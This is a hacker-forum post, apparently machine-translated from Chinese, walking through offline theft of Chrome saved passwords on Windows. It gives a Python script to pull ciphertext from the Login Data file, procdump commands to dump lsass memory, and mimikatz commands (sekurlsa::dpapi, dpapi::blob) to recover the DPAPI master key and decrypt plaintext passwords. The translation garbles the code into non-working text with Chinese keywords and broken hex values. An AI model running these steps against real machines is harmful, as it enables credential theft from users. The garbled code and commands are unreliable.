跳转到帖子
  • 游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

    赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

    TheHackerWorld官方

渗透技巧——使用Masterkey离线导出保存在Chrome浏览器中的密码


剑道尘心

推荐的帖子

0x00 前言

在之前的文章《渗透技巧——离线导出Chrome浏览器中保存的密码》中得出结论,用户的ntlm哈希无法导出Chrome浏览器保存的明文密码。

但是目前的Windows系统(如Windows Server 2012)默认无法导出用户的明文密码,只能得到ntlm hash。

也就是说,即使获得了系统的访问权限,如果无法获取明文密码,《渗透技巧——离线导出Chrome浏览器中保存的密码》条介绍的方法仍然无法导出Chrome浏览器离线(但在线)保存的明文密码。

本文将介绍一种新的方法,使用Masterkey离线导出Chrome浏览器中存储的密码,无需获取用户的明文密码,并得出新的结论。

0x01 简介

本文将介绍以下内容:

基本概念

解密思维

导出方法

实物试验

0x02 基础概念

DPAPI:

数据保护应用程序编程接口的全名

DPAPI blob:

一段密文,可以用主密钥解密。

Master Key:

64字节,用于解密DPAPI blob,用用户登录密码、SID和16字节随机数加密,存储在主密钥文件中。

Master Key file:

二进制文件,可由用户登录密码解密以获得主密钥。

0x03 DPAPI解密思路

1、定位加密的Master Key file

文章《渗透技巧——离线导出Chrome浏览器中保存的密码》曾经得出结论,无法定位解密的Chrome数据库对应的主密钥文件。

这个结论是错误的,实际上是可以定位的。方法参见0x04。

2、从lsass进程提取出Master Key

还有一个想法,不需要用户的明文密码。

注:

要从脱机主密钥文件中提取主密钥,必须获得用户的明文密码。

3、使用Master Key解密DPAPI blob,获得明文

0x04 实现方法

测试系统:

Win7 x86

1、使用python读取数据库文件并提取出密文

使用python脚本读取登录数据并将其保存到文件中。代码如下:

从操作系统导入getenv

导入sqlite3

导入binascii

conn=sqlite3.connect('登录数据')

cursor=conn.cursor()

cursor.execute('从登录中选择操作url,用户名值,密码值')

对于cursor.fetchall()中的结果:

print(binas CII . b2a _ hex(result[2]))

f=打开(' test.txt ',' wb ')

f.write(结果[2])

f.close()

脚本执行后,提取登录数据中保存的密文,保存为test.txt

2、获得该密文对应的Master Key file

Mimikatz订购了以下产品:

dpapi:blob /in:test.txt

获取相应的guidMasterkey为{ a 111 b 0 f 6-b4d 7-40c 8-b536-672 a 8288 b 958 }

如下图

2-1.png

即主密钥文件的路径为% appdata % \ Microsoft \ protect \ % sid % \ a 111 b 0 f 6-b4d 7-40 c8-b536-672 a 8288 b 958。

3、从lsass进程提取出Master Key

(1) 在线方式

需要管理员权限。

米米卡兹:

权限:调试

sekurlsa:dpapi

如下图

2-2.png

提取的主密钥是66638 CBA ea 3 b 7 cf 1 DC 55688 f 939 e 50 ea 1002 ced 954 a 1d 17d 5 Fe 0 b 90 b 7d 34677 AC 148 a 1 f 32 caf 828 FD 7234 BBA FBE 14b 39791 B3 d 7 e 587176576d 39 C3 fa 70。

(2) 离线方式

使用procdump转储输出LSASS进程内存。

Procdump下载地址:

https://docs . Microsoft . com/zh-cn/sysinternals/downloads/proc dump

管理员权限:

procdump.exe-accept EULA-ma lsass.exe lsass . DMP

使用mimikatz加载dmp文件:

sekurlsa:minidump lsass.dmp

sekurlsa:dpapi

注:

从lsass进程中提取主密钥后,Mimikatz会自动将主密钥添加到系统缓存中。

4、使用masterkey解密

米米卡兹:

dpapi:blob /in:test.txt

成功获取明文,如下所示

2-3.png

数据正确,如下图。

2-4.png

0x05 利用分析

本文介绍的方法是通过lsass进程恢复主密钥,因此不需要获取用户的明文密码。

同时,在与procdump的合作中,不需要在测试系统上执行mimikatz,只需要获取目标系统的两个文件:lsass进程的dmp文件和登录数据文件,在本地使用mimikatz恢复主密钥,并解密得到明文。

此外,不需要将系统权限降级为当前用户权限。

总结一下,离线导出的完整思路如下:

1、获得用户系统Chrome保存密码的SQLite数据库文件,位于%LocalAppData%\Google\Chrome\User Data\Default\Login Data

2、获得lsass进程的内存文件

3、在本地使用mimikatz提取Master Key,解密Login Data获得明文

0x06 最终结论

1、能够定位Master Key file

方法1:

Mimikatz命令:

dpapi:blob /in:test.txt

方法二:

通过读取首选文件的前16个字节来获取相应的主密钥文件。

2、不需要用户明文口令也能离线导出Chrome浏览器中保存的密码

0x07 小结

本文介绍了如何使用Masterkey离线导出Chrome浏览器中保存的密码,比之前的方法更通用。

留下回复

链接帖子
意见的链接
分享到其他网站

黑客攻防讨论组

黑客攻防讨论组

    You don't have permission to chat.
    • 最近浏览   0位会员

      • 没有会员查看此页面。
    ×
    ×
    • 创建新的...